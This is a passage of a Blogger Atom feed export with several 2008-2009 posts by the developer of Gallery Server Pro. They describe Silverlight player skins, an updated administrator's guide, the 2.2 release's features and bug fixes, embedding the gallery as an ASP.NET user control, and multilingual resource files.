border-right-width: 0px" height="302" alt="Sample video using the Console Silverlight skin" src="http://lh5.ggpht.com/_qh4427KVFsk/SZBvEqg62ZI/AAAAAAAAAFo/XSzLhwsLBDg/Skin_console%5B4%5D.jpg?imgmax=800" width="404" border="0" /&gt;&amp;#160; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Expression (Expression.xaml)&lt;/strong&gt;     &lt;br /&gt;This skin uses a semi-transparent control panel that appears when you hover over the video, as seen below. Normally, the controls are hidden.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="303" alt="Sample video using the Expression Silverlight skin" src="http://lh3.ggpht.com/_qh4427KVFsk/SZBvFm9Mq9I/AAAAAAAAAFs/wgscqI6YBO8/Skin_expression%5B4%5D.jpg?imgmax=800" width="404" border="0" /&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Futuristic (Futuristic.xaml)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/SZBvGIj9hgI/AAAAAAAAAFM/Rpia5WxwrMM/s1600-h/Skin_futuristic%5B3%5D.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="306" alt="Sample video using the Futuristic Silverlight skin" src="http://lh3.ggpht.com/_qh4427KVFsk/SZBvHIrOVpI/AAAAAAAAAFQ/rQBtXC_iJyQ/Skin_futuristic_thumb%5B1%5D.jpg?imgmax=800" width="404" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Professional (Professional.xaml)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="305" alt="Sample video using the Professional Silverlight skin" src="http://lh6.ggpht.com/_qh4427KVFsk/SZBvAbusMtI/AAAAAAAAAFY/-z9aUueEi5k/Skin_professional%5B4%5D.jpg?imgmax=800" width="404" border="0" /&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;AudioGray (AudioGray.xaml)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;This skin is used for audio-only media.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="39" alt="Sample audio using the AudioGray Silverlight skin" src="http://lh3.ggpht.com/_qh4427KVFsk/SZB7j7SDQ-I/AAAAAAAAAFw/nq6ksU_hKFg/Skin_audiogray%5B5%5D.jpg?imgmax=800" width="400" border="0" /&gt; &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;You can change to a different skin by editing the galleryserverpro.config file. For the adventurous you can even modify an existing skin or create your own by using any text editor or a XAML editor like Microsoft Expression Blend.&lt;/p&gt;  &lt;p&gt;For more information about changing skins in your gallery, check out the document: &lt;a href="http://www.galleryserverpro.com/forum/yaf_postst570_How-To-Skinning-the-Silverlight-Media-Player.aspx"&gt;How To: Skinning the Silverlight Media Player&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-5523628196165516931?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/5523628196165516931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=5523628196165516931' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5523628196165516931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5523628196165516931'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/02/cool-tip-skinning-media-player.html' title='Cool Tip: Skinning the media player'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_qh4427KVFsk/SZB7j7SDQ-I/AAAAAAAAAFw/nq6ksU_hKFg/s72-c/Skin_audiogray%5B5%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6020535873382676646</id><published>2009-01-13T15:40:00.001-06:00</published><updated>2009-01-13T15:42:27.328-06:00</updated><title type='text'>Updated Administrator's Guide</title><content type='html'>&lt;p&gt;&lt;a href="http://www.galleryserverpro.com/support/GalleryServerProAdminGuide_v2_2_3286.pdf" title="Download the Gallery Server Pro Administrator's Guide"&gt;&lt;img style="border-right: 0px; padding-right: 5px; border-top: 0px; float: left; border-left: 0px; border-bottom: 0px" height="262" alt="Admin_Guide_2_2_3286_cover" src="http://lh5.ggpht.com/_qh4427KVFsk/SW0KMz8AUsI/AAAAAAAAAD4/rLTxJjrOlKw/Admin_Guide_2_2_3286_cover%5B4%5D.png?imgmax=800" width="209" border="0" /&gt;&lt;/a&gt; I finished updating the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Administrator's Guide&lt;/a&gt; to reflect the changes in Gallery Server Pro 2.2. This includes new sections for the upgrade wizard and integrating a gallery into your existing web site. I also proof read the rest of the document line by line, expanding topics, changing wording, clarifying sentences, and fixing typos to make things as clear as possible. One of the key benefits of Gallery Server Pro is rock solid documentation, and this guide is the best release to date! My eyes have gone buggy but you are worth it. :-)&lt;/p&gt;  &lt;p&gt;If you find that the guide does not cover a topic you want to learn about, &lt;a href="http://www.galleryserverpro.com/support.aspx"&gt;let me know&lt;/a&gt;. And, as always, please tell me about any errors or typos you find.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6020535873382676646?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6020535873382676646/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6020535873382676646' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6020535873382676646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6020535873382676646'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/01/updated-administrator-guide.html' title='Updated Administrator&amp;#39;s Guide'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/SW0KMz8AUsI/AAAAAAAAAD4/rLTxJjrOlKw/s72-c/Admin_Guide_2_2_3286_cover%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-1976828014776528252</id><published>2008-12-31T16:56:00.003-06:00</published><updated>2009-01-03T21:01:50.724-06:00</updated><title type='text'>Gallery Server Pro Version 2.2.3286 Released</title><content type='html'>&lt;p&gt;Today I am pleased to release version 2.2 of Gallery Server Pro. It introduces a totally revamped UI architecture that makes it much easier for developers to add a gallery into an existing ASP.NET web application. Another significant feature is support for storing media files on UNC shares, including NAS devices. There is a new Upgrade Wizard, and a handful of other new features and bug fixes, too. The database schema has not changed, so upgrading is as simple as replacing the web files and using the new Upgrade Wizard to import your web.config and galleryserverpro.config settings. Over the coming days I will update the Administrator's Guide. Until then refer to the &lt;a href="http://www.galleryserverpro.com/support/QuickStartGuide_2_2.pdf"&gt;2.2 QuickStart Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Simplified integration&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;It has always been easy to deploy GSP as a stand-alone web application, but getting it to work &lt;em&gt;inside&lt;/em&gt; your existing web site has been difficult. That's because until 2.2, GSP consisted of a collection of master pages and .aspx pages that use an ASP.NET theme. There was no easy way to incorporate this functionality into your site. The most common approach has been to install GSP as its own web application and then use an iframe in one of your pages to create the illusion of integration. But this is not true integration, and some hosting companies make managing more than one application difficult.&lt;/p&gt;  &lt;p&gt;So for 2.2, I built a new UI architecture based on the concept of an ASP.NET user control. No more themes, no more master pages. There is just a single web page - default.aspx - that contains a single user control. All the functionality you are used to - browsing albums and images and managing your gallery - occur within this user control. Read my &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Coming-in-2.2%3a-Improved-Integration-With-Existing-Web-Sites&amp;amp;id=913338660303920421"&gt;previous blog post&lt;/a&gt; to see an example of adding a gallery into a web site.&lt;/p&gt;  &lt;p&gt;The developers reading this might be imagining one giant user control with 100,000 lines of code that is a maintenance nightmare. Relax, don't worry. The single user control I mentioned - named Gallery - is actually a container control that loads the appropriate child user control based on the query string in the URL. The .aspx pages that existed in the previous version are recreated as .ascx controls in 2.2. For the most part I copied and pasted the code. There is a nice separation of presentation and logic in the UI layer that should make it easy to wrap your head around.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Upgrade wizard&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;A pain point in upgrading GSP to newer versions has been trying to incorporate your existing user settings in galleryserverpro.config with the updated HTML templates and settings in the new version. I addressed this by building a new Upgrade Wizard that automatically imports common settings from your previous web.config and galleryserverpro.config files. It even runs in medium trust.&lt;/p&gt;  &lt;p&gt;This is the first page of the wizard:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/SVv4ti5w4aI/AAAAAAAAADs/H8LaYjSJPOI/s1600-h/gs_upgrade_wiz%5B3%5D.jpg"&gt;&lt;img style="border-width: 0px;" alt="gs_upgrade_wiz" src="http://lh3.ggpht.com/_qh4427KVFsk/SVv4uYkOxDI/AAAAAAAAADw/-GQdklKj-u4/gs_upgrade_wiz_thumb%5B1%5D.jpg?imgmax=800" border="0" height="478" width="498" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Network support&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Thanks to a code contribution from UncleJohnsBand, GSP now supports storing media files on UNC shares in addition to the web server's hard drive. This includes other computers, external hard drives, and even network-attached storage (NAS) devices.&lt;/p&gt;  &lt;p&gt;Note that the IIS application pool identity must have file share permission and NTFS permission to the network location. &lt;strong&gt;The default user - Network Service - does not have network permissions and will not work.&lt;/strong&gt; To get the web server to read and write to a UNC share, you must modify the application pool identity in IIS to specify another user, and then ensure that user has the required permission to the network device.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Silverlight now rock solid&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Ever since adding Silverlight support in 2.1 for .mp3, .wma, .wmv, .asf, and .asx files, I have had trouble getting Silverlight to accept media files sent from GSP's custom HTTP handler. This only affected Firefox; IE worked well. I finally tracked down the issue and modified the handler to make both web browsers happy. Now that the handler is correctly working, I modified the HTML templates in galleryserverpro.config to use {MediaObjectUrl} (which uses the handler) instead of {MediaObjectAbsoluteUrlNoHandler} (which uses a direct link to the file) for these file types.&lt;/p&gt;  &lt;p&gt;The end result is that these video and audio files should play great in all browsers, and you have the robust security that comes from using the handler.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Smaller font&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;The font size of the text throughout the gallery has been slightly reduced,  and it is now defined in pixels rather than em in the CSS file. There is a  debate in the CSS community as to how to best define the font size, and in my  judgment em was the best choice when IE 6 was a dominant browser. Now that IE 6  is becoming irrelevant, I believe pixels is the best choice. Originally, the CSS  file had this line:&lt;/p&gt; &lt;p&gt;body { font: 0.9em Verdana, Arial, Helvetica, sans-serif; background-color:  #f5f5f5; color: #000; }&lt;/p&gt; &lt;p&gt;Now that GSP is wrapped in a user control, I specify the font size in the  global CSS namespace:&lt;/p&gt; &lt;p&gt;.gsp_ns { font: 12px Verdana, Arial, Helvetica, sans-serif; }&lt;/p&gt; &lt;p&gt;Any time GSP needs to display larger or smaller text, it is done relative to  the font defined in the gsp_ns class. For example, to display slightly larger  text, GSP uses the gsp_fl class:&lt;/p&gt; &lt;p&gt;.gsp_fl { font-size: 1.1em; }&lt;/p&gt; &lt;p&gt;The beauty of this approach is that you can change the font size  &lt;em&gt;globally&lt;/em&gt; in one place - the gsp_ns class - and all the text will scale  appropriately. So if you like the bigger text of the previous version, just edit  the font size in gsp_ns. Increase it to 14px or even revert back to the original  0.9em. Whatever yanks your crank.&lt;/p&gt; &lt;p&gt;While we're talking CSS, you may have noticed I changed the background color  of the header from blue to the same eggshell white used on the rest of the page.  This is due partly because I am getting sick of that color, but also because the  color is likely to clash with most web sites that developers add the gallery to.  It is easy enough to change the color to suit your fancy. Edit the following  line in gs\styles\gallery.css:&lt;/p&gt; &lt;p&gt;.gsp_ns .header { background-color:transparent; overflow:hidden; }&lt;/p&gt; &lt;p&gt;If you change to a dark color, you will probably want the title and login and  search controls to use a light color so that it is contrasted against the  background. Again, this takes a few simple edits to the CSS file. I'll leave  that as an exercise for you. Hint: Use the Firebug add-on for Firefox to quickly  identify the CSS classes to modify.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Complete list of new features &lt;/strong&gt;(&lt;a href="http://www.galleryserverpro.com/support/Features_v2_2_3286.pdf"&gt;view detailed report&lt;/a&gt;)&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;All functionality is contained within a single user control. &lt;/li&gt;    &lt;li&gt;Support for storing media objects at any UNC-accessible location, including NAS devices &lt;/li&gt;    &lt;li&gt;New upgrade wizard imports settings from the previous web.config and galleryserverpro.config files. &lt;/li&gt;    &lt;li&gt;Added .pps (PowerPoint Slideshow) as a supported media object &lt;/li&gt;    &lt;li&gt;The file path to the thumbnail and optimized image directory is now optional &lt;/li&gt;    &lt;li&gt;Modified add objects page to eliminate use of images containing hard-coded English text &lt;/li&gt;    &lt;li&gt;New configuration settings in galleryserverpro.config: showLogin (default=true) and showSearch (default=true). These control the visibility of the login and search controls at the top right of every page. The settings are exposed on the General page of the Site admin area &lt;/li&gt;    &lt;li&gt;New configuration settings in galleryserverpro.config: showErrorDetails (default=false), enableExceptionHandler (default=true), and allowAnonymousBrowsing (default=true). These replace the previous technique of configuring these options in web.config through the customErrors and authorization elements. &lt;/li&gt;    &lt;li&gt;Increased the height of the box surrounding thumbnail images to better contain the contents. This was done by changing the value of the thumbnailHeightBuffer setting in galleryserverpro.config from 65px to 70px. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;Bug fixes&lt;/strong&gt; (&lt;a href="http://www.galleryserverpro.com/support/DefectsFixed_v2_2_3286.pdf"&gt;view detailed report&lt;/a&gt;)&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Full support for Silverlight using the HTTP handler &lt;/li&gt;    &lt;li&gt;Password validation not performed when changing password in SQLite &lt;/li&gt;    &lt;li&gt;An error may occur if a SMTP server is not specified &lt;/li&gt;    &lt;li&gt;Clicking current date in edit album window does nothing &lt;/li&gt;    &lt;li&gt;"Template not found: enabledHeader" message on Media Object Types page &lt;/li&gt;    &lt;li&gt;Thumbnails for external media objects may not be recreated during synch &lt;/li&gt;    &lt;li&gt;Synch may leave orphan files &lt;/li&gt;    &lt;li&gt;Captions inside thumbnails sometimes exceed boundary &lt;/li&gt;    &lt;li&gt;Incorrect behavior on Add Objects page &lt;/li&gt;    &lt;li&gt;Text in add user dialog remains visible during callback &lt;/li&gt;    &lt;li&gt;SQLite user activity date inconsistent with SQL Server behavior &lt;/li&gt;    &lt;li&gt;Rendering issue when gallery is used in web page with floated screen objects &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;I hope you enjoy the new version, and I wish everyone a Happy New Year! As soon as I finish the Admin Guide, I'll get hard at work on the next release. I'll be publishing a new roadmap within a few weeks. Cheers!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-1976828014776528252?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/1976828014776528252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=1976828014776528252' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1976828014776528252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1976828014776528252'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2008/12/gallery-server-pro-version-223286.html' title='Gallery Server Pro Version 2.2.3286 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_qh4427KVFsk/SVv4uYkOxDI/AAAAAAAAADw/-GQdklKj-u4/s72-c/gs_upgrade_wiz_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-913338660303920421</id><published>2008-12-01T17:09:00.001-06:00</published><updated>2008-12-01T20:47:40.606-06:00</updated><title type='text'>Coming in 2.2: Improved Integration With Existing Web Sites</title><content type='html'>&lt;p&gt;The next version of Gallery Server Pro, expected within a month or so, will have an improved UI architecture that will simplify the integration with your existing web site. Although I took advantage of .NET 2.0 techniques such as master pages and themes in GSP 2.0 and 2.1, in practice it has been difficult for developers to add an instance of Gallery Server Pro into an existing web application. This is primarily because an existing site already has an architecture that may include master pages, themes, navigation bar, and header and footer areas. Developers have achieved the look of integration by including GSP in an iframe or by copying their master page into GSP's master page. Neither of these is true integration as GSP still runs as a separate web application in IIS.&lt;/p&gt;  &lt;p&gt;For 2.2, I refactored the user interface so that all functionality is wrapped in a single ASP.NET user control. Adding a gallery to your site involves three basic steps:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Copy the Gallery Server Pro files into your web application. Most of them can be placed in a directory of your choosing. A few, such as the SQLite database and .resx resource file, go into pre-defined ASP.NET directories, such as App_Data and App_GlobalResources. &lt;/li&gt;    &lt;li&gt;Configure web.config to define a few settings required by GSP and add one line of code to the Application_Start event in global.asax.&lt;/li&gt;    &lt;li&gt;Choose one of your web pages to host the gallery. Perhaps you will add a new .aspx page and have it based on your current master page. Add the following to the top of the page:      &lt;p&gt;&amp;lt;%@ Register TagPrefix=&amp;quot;gsp&amp;quot; Namespace=&amp;quot;GalleryServerPro.Web&amp;quot; Assembly=&amp;quot;GalleryServerPro.Web&amp;quot; %&amp;gt;&lt;/p&gt;      &lt;p&gt;At the location in the page where you want the gallery to appear, add this:&lt;/p&gt;      &lt;p&gt;&amp;lt;gsp:Gallery ID=&amp;quot;gallery1&amp;quot; runat=&amp;quot;server&amp;quot; /&amp;gt;&lt;/p&gt;   &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;That's it! Fire up the page and you will notice Gallery Server Pro appears in the location you defined. All the functionality that previously existed, such as logging on, searching, and the task and admin pages are still there. And it will work beautifully with your existing master pages. &lt;/p&gt;  &lt;p&gt;As an example, here are a couple screen shots where I added a gallery to a new page named demo.aspx at &lt;a href="http://www.galleryserverpro.com"&gt;www.galleryserverpro.com&lt;/a&gt;:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/STRuvSdswAI/AAAAAAAAADc/3C69aX5haeo/s1600-h/gs_integrated_with_gspweb%5B11%5D.jpg"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="433" alt="gs_integrated_with_gspweb" src="http://lh4.ggpht.com/_qh4427KVFsk/STRuv68MoTI/AAAAAAAAADg/m40BZdtNASk/gs_integrated_with_gspweb_thumb%5B5%5D.jpg?imgmax=800" width="404" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/STRuwV34JNI/AAAAAAAAADk/piwmWtahewk/s1600-h/gs_integrated_with_gspweb2%5B3%5D.jpg"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="445" alt="gs_integrated_with_gspweb2" src="http://lh5.ggpht.com/_qh4427KVFsk/STRuxVtD7dI/AAAAAAAAADo/dukl9eXtFV4/gs_integrated_with_gspweb2_thumb%5B1%5D.jpg?imgmax=800" width="398" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;The demo.aspx page looks like this:&lt;/p&gt;  &lt;p&gt;&amp;lt;%@ Page Title=&amp;quot;&amp;quot; Language=&amp;quot;C#&amp;quot; MasterPageFile=&amp;quot;&lt;font color="#800000"&gt;~/master/global.Master&lt;/font&gt;&amp;quot; AutoEventWireup=&amp;quot;&lt;font color="#800000"&gt;true&lt;/font&gt;&amp;quot;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; CodeBehind=&amp;quot;&lt;font color="#800000"&gt;demo.aspx.cs&lt;/font&gt;&amp;quot; Inherits=&amp;quot;&lt;font color="#800000"&gt;TIS.GSPWeb.demo&lt;/font&gt;&amp;quot; %&amp;gt;    &lt;br /&gt;&amp;lt;%@ Register TagPrefix=&amp;quot;gsp&amp;quot; Namespace=&amp;quot;GalleryServerPro.Web&amp;quot; Assembly=&amp;quot;GalleryServerPro.Web&amp;quot; %&amp;gt; &lt;/p&gt;  &lt;p&gt;&amp;lt;asp:Content ID=&amp;quot;Content3&amp;quot; ContentPlaceHolderID=&amp;quot;MainContent&amp;quot; runat=&amp;quot;server&amp;quot;&amp;gt;   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;asp:ScriptManager ID=&amp;quot;sm&amp;quot; runat=&amp;quot;server&amp;quot; /&amp;gt;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;gsp:Gallery ID=&amp;quot;gallery1&amp;quot; runat=&amp;quot;server&amp;quot; /&amp;gt;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;/div&amp;gt;    &lt;br /&gt;&amp;lt;/asp:Content&amp;gt;&lt;/p&gt;  &lt;p&gt;Pretty simple, huh? You can see that it uses a master page named global.Master. GSP requires a ScriptManager because of its AJAX capabilities, so you'll need to make sure you have one defined on the .aspx page or in the master page.&lt;/p&gt;  &lt;p&gt;Those of you who run GSP as a stand-alone application can continue to do so. I will release the code in a fully functioning web site with a single page containing the Gallery control. It will work much like you are used to, except you'll notice that the URL's are different. For example, here are a few examples:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Create a new album:&lt;/strong&gt; &lt;font color="#800000"&gt;http://www.galleryserverpro.com/default.aspx?g=task_createalbum&amp;amp;aid=1     &lt;br /&gt;&lt;font color="#000000"&gt;&lt;strong&gt;View an album:&lt;/strong&gt;&lt;/font&gt; &lt;font color="#800000"&gt;http://www.galleryserverpro.com/default.aspx?aid=74&lt;/font&gt;&lt;/font&gt;    &lt;br /&gt;&lt;strong&gt;View a single photo:&lt;/strong&gt; &lt;font color="#800000"&gt;http://www.galleryserverpro.com/default.aspx?g=mediaobject&amp;amp;moid=536&lt;/font&gt;    &lt;br /&gt;&lt;strong&gt;Site admin home page:&lt;/strong&gt; &lt;font color="#800000"&gt;http://www.galleryserverpro.com/default.aspx?g=admin_general&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Notice that all functionality is funneled through a single .aspx page (default.aspx in the above examples). The query string contains a &amp;quot;g&amp;quot; parameter that dictates what action is taking place on the page. There will be backwards compatibility with your existing links to albums and media objects. So, for example, a link you may have today that points to a photo at &lt;font color="#800000"&gt;http://www.site.com/default.aspx?moid=536&lt;/font&gt;&lt;font color="#000000"&gt; will continue to point to the same photo in 2.2. However, bookmarks to any task or admin pages will not work in 2.2.&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;I am working on this every day, and as always I love to hear your feedback.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-913338660303920421?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/913338660303920421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=913338660303920421' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/913338660303920421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/913338660303920421'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2008/12/coming-in-22-improved-integration-with.html' title='Coming in 2.2: Improved Integration With Existing Web Sites'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_qh4427KVFsk/STRuv68MoTI/AAAAAAAAADg/m40BZdtNASk/s72-c/gs_integrated_with_gspweb_thumb%5B5%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-21414698695956818</id><published>2008-10-30T12:59:00.001-05:00</published><updated>2008-10-30T14:15:25.442-05:00</updated><title type='text'>Multilingual Capabilities in Gallery Server Pro</title><content type='html'>&lt;p&gt;A great deal of work has gone into making Gallery Server Pro capable of displaying text in multiple languages, and I thought I would give an overview and finish up with a call for volunteers to assist with translating into other languages.&lt;/p&gt;  &lt;p&gt;When a user navigates to a web site, most web browsers automatically send the user's preferred language to the web server with the request. Gallery Server Pro uses this setting to automatically return a web page to the user in that language. If no translation has been provided for that language, the default resource - English - is used.&lt;/p&gt;  &lt;p&gt;For example, an English user might see a gallery like this:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_qh4427KVFsk/SQn2Bp9suJI/AAAAAAAAAC8/7FndN9_cMlU/s1600-h/menu_english%5B3%5D.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="477" alt="menu_english" src="http://lh6.ggpht.com/_qh4427KVFsk/SQn2COR8pkI/AAAAAAAAADA/HXKZbl4FJVA/menu_english_thumb%5B1%5D.jpg?imgmax=800" width="245" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Another user in the Netherlands, whose browser is set to the Dutch language, can view the same gallery and see the resources in Dutch:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_qh4427KVFsk/SQn2DMkDsOI/AAAAAAAAADE/sPlFVrk9qUY/s1600-h/menu_dutch%5B3%5D.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="476" alt="menu_dutch" src="http://lh4.ggpht.com/_qh4427KVFsk/SQn2Ec5tqvI/AAAAAAAAADI/svurU4u1wFQ/menu_dutch_thumb%5B1%5D.jpg?imgmax=800" width="243" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;A single installation of Gallery Server Pro automatically provides the correct language, without any intervention by the user. You do not need to choose one language for everyone, nor do your users need to click a special link to read the version in their language. How cool is that!&lt;/p&gt;  &lt;p&gt;Be aware that some text in your gallery cannot be automatically served in different languages. This includes any text that is directly editable by an administrator, such as album titles and summaries, and media object titles. It is expected that you edit them directly in your preferred language.&lt;/p&gt;  &lt;p&gt;Gallery Server Pro ships with English resources by default. Support for additional languages is provided in language packs which can be downloaded in the &lt;a href="http://www.galleryserverpro.com/forum/yaf_topics10_Language-Translation.aspx"&gt;Language Translation forum&lt;/a&gt;. Deploying a language pack is as simple as copying a few files into the web application. And you can deploy as many packs as you like.&lt;/p&gt;  &lt;p&gt;At the moment there is only a Dutch translation and a partially complete Spanish translation, and they are for an older version of Gallery Server Pro. But that is about to change, as I have just finished putting together a process that makes it very easy for volunteers to translate text into their language. I am providing a utility called the Zeta Resource Editor that lets you open two resource files side by side. To create a new translation, make a copy of the English resource file and name it according to your language. For example, the Dutch version of GalleryServerPro.resx is GalleryServerPro.nl.resx. Then you open both files in the Zeta editor:&lt;/p&gt;  &lt;p&gt;&lt;a 